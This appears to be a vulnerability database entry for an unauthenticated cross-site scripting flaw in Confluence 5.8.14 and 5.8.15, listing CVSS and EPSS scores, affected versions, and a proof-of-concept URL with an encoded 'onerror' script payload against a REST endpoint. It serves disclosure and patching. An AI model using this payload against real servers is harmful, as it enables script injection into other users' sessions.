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atlassianFa1767dc8cc8CONFSERVER-39689
HistoryOct 26, 2015 - 8:04 p.m.

Rest API XSS

2015-10-2620:04:02
fa1767dc8cc8
jira.atlassian.com
5

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

55.7%

An unauthenticated XSS vulnerability has been confirmed in confluence 5.8.15 and 5.8.14.

The vulnerability is located at /rest/prototype/1/session/check/something

POC URL:
http://<server>/conf_path/rest/prototype/1/session/check/something%3Cimg%20src%3da%20onerror%3dalert%280%29%3E

This was confirmed in the latest version of firefox.

Affected configurations

Vulners
Node
atlassianconfluence_data_centerRange5.2
OR
atlassianconfluence_data_centerRange5.8.14
OR
atlassianconfluence_data_centerRange5.8.15
OR
atlassianconfluence_data_centerRange<5.9.1
OR
atlassianconfluence_data_centerRange<5.8.17

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

55.7%